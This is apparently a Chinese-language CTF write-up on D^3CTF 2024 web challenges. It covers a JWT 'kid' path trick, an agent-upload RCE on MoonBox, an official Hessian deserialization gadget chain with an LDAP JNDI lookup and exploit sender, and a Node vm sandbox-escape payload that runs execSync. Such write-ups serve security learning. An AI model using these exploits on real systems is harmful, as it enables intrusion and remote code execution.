前言
好难。。做不动了qaq
诶,我打d3,真的假的
参考wp:
NK:https://mp.weixin.qq.com/s/eDEnZ7WFaZVddaOlDwZSYg
W&M:https://blog.wm-team.cn/index.php/archives/75/
Boogipop(其实也是W&M的web wp):https://boogipop.com/2024/04/30/%E5%87%8C%E6%AD%A6%E6%9D%AF%20x%20D%5E3CTF%20Web%20Writeup%202024/
Web
d3pythonhttp(Unsolved)
jwt + 前后端分离 + pickle
下载附件,审一下代码
/
路由:
@app.route('/', methods=['GET'])
def index():
token = request.cookies.get('token')
if token and verify_token(token):
return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
else:
return redirect("/login", code=302)
/login
路由:
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == "POST":
user_info = {"username": request.form["username"], "isadmin": False}
key = get_key("frontend_key")
token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
resp = make_response(redirect("/", code=302))
resp.set_cookie("token", token)
return resp
else:
return render_template_string(login_form)
根据 username 给token生成jwt串,设置了一个header,"kid": "frontend_key"
/backend
路由:
@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != "Host"}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
conn.request(method, path, body=data, headers=headers)
response = conn.getresponse()
return response.read()
发送给后端的服务?
/admin
路由:
@app.route('/admin', methods=['GET', 'POST'])
def admin():
token = request.cookies.get('token')
if token and verify_token(token):
if request.method == 'POST':
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != 'Host'}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"
else:
return "You are not an admin!"
else:
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
return "Welcome admin!"
else:
return "You are not an admin!"
else:
return redirect("/login", code=302)
看起来是要进入后端的/backdoor
,先一层层绕过检测吧
首先是if token and verify_token(token)
,我们看一下对应的方法
def get_key(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key
def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False
会用header里面的kid作为路径获取key,但是我们可以自己修改为空
moonbox (Unsolved)
非预期
https://github.com/vivo/MoonBox/blob/main/docker/docker-compose.yml
起docker,同时下载一下源码,是月光宝盒1.2.0
先读一下moonbox官方文档,看一下功能点
看了一圈发现这里的agent文件管理存在可控文件上传
可以传sh脚本还能执行?全局搜一下sh执行的java文件
com/vivo/internet/moonbox/service/console/util/AgentUtil.java
/**
* 获取远程服务器启动agent命令
*
* @param appName 应用名称
* @param taskConfig 任务配置
* @return 启动shell 脚本
* @throws Exception 抛出异常
*/
public static String getRemoteAgentStartCommand(String sandboxDownLoadUrl, String moonboxDownLoadUrl, String appName, String taskConfig) {
//从服务端下载moonbox 和 sandbox 两个agent并解压。然后格式化启动脚本
String downLoadCommand = "curl -o sandboxDownLoad.tar " + sandboxDownLoadUrl + " && curl -o moonboxDownLoad.tar " + moonboxDownLoadUrl;
String rmDir = " && rm -fr ~/sandbox && rm -fr ~/.sandbox-module";
String unzipCommand=" && tar -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar -xzf moonboxDownLoad.tar -C ~/ >> /dev/null";
//格式化脚本
String dos2unixSh = " && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh";
//删除文件
String rmAgentZip = " && rm -f moonboxDownLoad.tar sandboxDownLoad.tar";
//start-remote-agent脚本来拉起来agent
String startAgentCommand = " && sh ~/.sandbox-module/bin/start-remote-agent.sh " + appName +" "+ taskConfig;
return downLoadCommand + rmDir + unzipCommand + dos2unixSh + rmAgentZip + startAgentCommand;
}
运行一下默认模板的流量录制
可以看到执行了这样一段命令同时也是带出了执行结果的回显:
curl -o sandboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadSandBoxZipFile && curl -o moonboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadMoonBoxZipFile && rm -fr ~/sandbox && rm -fr ~/.sandbox-module && tar -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar && sh ~/.sandbox-module/bin/start-remote-agent.sh moon-box-web rc_id_b8ce70c4caf4eec2df101f4fa406ff87%26http%3A%2F%2F127.0.0.1%3A8080%26INFO%26INFO
那如果我们替换了moonbox里面的start-remote-agent.sh脚本就可以rce
Dockerfile里给出了root用户默认密码 root:123456,通过docker机器名 moonbox-server 可以访问内网的docker-moonbox-server容器,刚好这台容器有sshd,有root默认密码,并且有flag
接下来就可以操作了,直接构造恶意sh脚本 .sandbox-module/bin/start-remote-agent.sh 或者 sandbox/bin/sandbox.sh,然后tar打包成agent.tar上传即可
#!/bin/sh
cat /flag|base64
可以看到这里带出了base64编码的回显,即我们的flag
当然也可以弹shell
预期
官方wp的exp,打ldap?:
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IOException {
SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/deserialJackson"});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("key", swingLazyValue);
u2.put("key", swingLazyValue);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, u1, null, null);
Object node2 = constructor.newInstance(0, u2, null, null);
Field key = node.getDeclaredField("key");
key.setAccessible(true);
key.set(node1, u1);
key.set(node2, u2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
HashMap hashMap1 = new HashMap();
size.set(hashMap1, 2);
table.set(hashMap1, arr);
HashMap map = new HashMap();
map.put(hashMap, hashMap);
map.put(hashMap1, hashMap1);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
SerializerFactory hessian = new SerializerFactory();
hessian.setAllowNonSerializable(true);
Hessian2Output hout = new Hessian2Output(baos);
hout.setSerializerFactory(hessian);
hout.getSerializerFactory().setAllowNonSerializable(true);
hout.writeObject(map);
hout.close();
byte[] byteArray = baos.toByteArray();
FileOutputStream fileOutputStream = new FileOutputStream("poc.ser");
fileOutputStream.write(byteArray);
byte[] bytes = Files.readAllBytes(Paths.get("poc.ser"));
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(bytes));
hessian2Input.readObject();
}
}
然后
import com.alibaba.jvm.sandbox.repeater.plugin.core.utils.HttpUtil;
import com.alibaba.jvm.sandbox.repeater.plugin.core.utils.SignUtils;
import com.google.common.io.BaseEncoding;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Map;
public class EXP {
public static void main(String[] args) throws IOException {
String url = "http://localhost:9999/api/agent/replay/save";
Map<String, String> headers = SignUtils.getHeaders();
headers.put("content-type", "application/json");
String body = BaseEncoding.base64().encode(Files.readAllBytes(Paths.get("poc.ser")));
HttpUtil.Resp resp = HttpUtil.invokePostBody(url, headers, body);
System.out.println(resp);
}
}
看不懂啦(
stack_overflow (复现)
vm沙箱逃逸
反正不是webpwn
如果是本地docker起环境的时候记得转发一下3090端口
审一下源码:
const express = require('express')
const vm = require("vm");
let app = express();
app.use(express.json());
app.use('/static', express.static('static'))
const pie = parseInt(Math.random() * 0xffffffff)
function waf(str) {
let pattern = /(call_interface)|\{\{.*?\}\}/g;
return str.match(pattern)
}
app.get('/', (req, res) => {
res.sendFile(__dirname + "/index.html")
})
app.post('/', (req, res) => {
let respond = {}
let stack = []
let getStack = function (address) {
if (address - pie >= 0 && address - pie < 0x10000) return stack[address - pie]
return 0
}
let getIndex = function (address) {
return address - pie
}
let read = function (fd, buf, count) {
let ori = req.body[fd]
if (ori.length < count) {
count = ori.length
}
if (typeof ori !== "string" && !Array.isArray(ori)) return res.json({"err": "hack!"})
for (let i = 0; i < count; i++){
if (waf(ori[i])) return res.json({"err": "hack!"})
stack[getIndex(buf) + i] = ori[i]
}
}
let write = function (fd, buf, count) {
if (!respond.hasOwnProperty(fd)) {
respond[fd] = []
}
for (let i = 0; i < count; i++){
respond[fd].push(getStack(buf + i))
}
}
let run = function (address) {
let continuing = 1;
while (continuing) {
switch (getStack(address)) {
case "read":
let r_fd = stack.pop()
let read_addr = stack.pop()
if (read_addr.startsWith("{{") && read_addr.endsWith("}}")) {
read_addr = pie + eval(read_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
}
read(r_fd, parseInt(read_addr), parseInt(stack.pop()))
break;
case "write":
let w_fd = stack.pop()
let write_addr = stack.pop()
if (write_addr.startsWith("{{") && write_addr.endsWith("}}")) {
write_addr = pie + eval(write_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
}
write(w_fd, parseInt(write_addr), parseInt(stack.pop()))
break;
case "exit":
continuing = 0;
break;
case "call_interface":
let numOfArgs = stack.pop()
let cmd = stack.pop()
let args = []
for (let i = 0; i < numOfArgs; i++) {
args.push(stack.pop())
}
cmd += "('" + args.join("','") + "')"
let result = vm.runInNewContext(cmd)
stack.push(result.toString())
break;
case "push":
let numOfElem = stack.pop()
let elemAddr = parseInt(stack.pop())
for (let i = 0; i < numOfElem; i++) {
stack.push(getStack(elemAddr + i))
}
break;
default:
stack.push(getStack(address))
break;
}
address += 1
}
}
let code = `0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
28
[[ 0 ]]
stdin
read
Started Convertion...
Your input is:
2
[[short - 3]]
stdout
write
5
[[ 0 ]]
stdout
write
...
1
[[short - 2]]
stdout
write
[[ 0 ]]
5
push
(function (...a){ return a.map(char=>char.charCodeAt(0)).join(' ');})
5
call_interface
Ascii is:
1
[[short - 2]]
result
write
1
{{ stack - 2 }}
result
write
Ascii is:
1
[[short - 2]]
stdout
write
1
{{ stack - 3 }}
stdout
write
ok
1
[[short - 2]]
status
write
exit`
code = code.split('\n');
for (let i = 0; i < code.length; i++){
stack.push(code[i])
if (stack[i].startsWith("[[") && stack[i].endsWith("]]")) {
stack[i] = (pie + eval(stack[i].slice(2,-2).replace("short", i.toString()))).toString()
}
}
run(pie + 0)
return res.json(respond)
})
app.listen(3090, () => {
console.log("listen on 3090");
})
常规做法
因为是vm沙箱,所以我们先找一下最终的利用点runInNewContext
:
case "call_interface":
let numOfArgs = stack.pop()
let cmd = stack.pop()
let args = []
for (let i = 0; i < numOfArgs; i++) {
args.push(stack.pop())
}
cmd += "('" + args.join("','") + "')"
let result = vm.runInNewContext(cmd)
stack.push(result.toString())
break;
注意到这里的cmd会与 args 数组里的元素进行拼接cmd += "('" + args.join("','") + "')"
效果就像上面这张图一样,会切掉每一个字符,这样明显没法进行逃逸
然后看一下读取参数的部分
let read = function (fd, buf, count) {
let ori = req.body[fd]
if (ori.length < count) {
count = ori.length
}
if (typeof ori !== "string" && !Array.isArray(ori)) return res.json({"err": "hack!"})
for (let i = 0; i < count; i++){
if (waf(ori[i])) return res.json({"err": "hack!"})
stack[getIndex(buf) + i] = ori[i]
}
}
注意到传入的参数可以是数组
那么如果我们传入一个长度为1的数组是否能够绕过join
呢?传入{"stdin":["abcde"]}
试试
可以看到这里确实把字符串完整传进去了,那么接下来就可以闭合')
并在末尾加注释符,然后注入命令进行沙盒逃逸了
payload:
{"stdin":["');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"calc\").toString(); //"]}
本地弹计算器成功
pwn的做法(False)
write溢出pie,不懂
看一下这里的code
let code = `0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
28
[[ 0 ]]
stdin
read
Started Convertion...
Your input is:
2
[[short - 3]]
stdout
write
5
[[ 0 ]]
stdout
write
...
1
[[short - 2]]
stdout
write
[[ 0 ]]
5
push
(function (...a){ return a.map(char=>char.charCodeAt(0)).join(' ');})
5
call_interface
Ascii is:
1
[[short - 2]]
result
write
1
{{ stack - 2 }}
result
write
Ascii is:
1
[[short - 2]]
stdout
write
1
{{ stack - 3 }}
stdout
write
ok
1
[[short - 2]]
status
write
exit`
read覆盖stack[42]
,执行call_interface,然后就能rce了
复现不出来,摆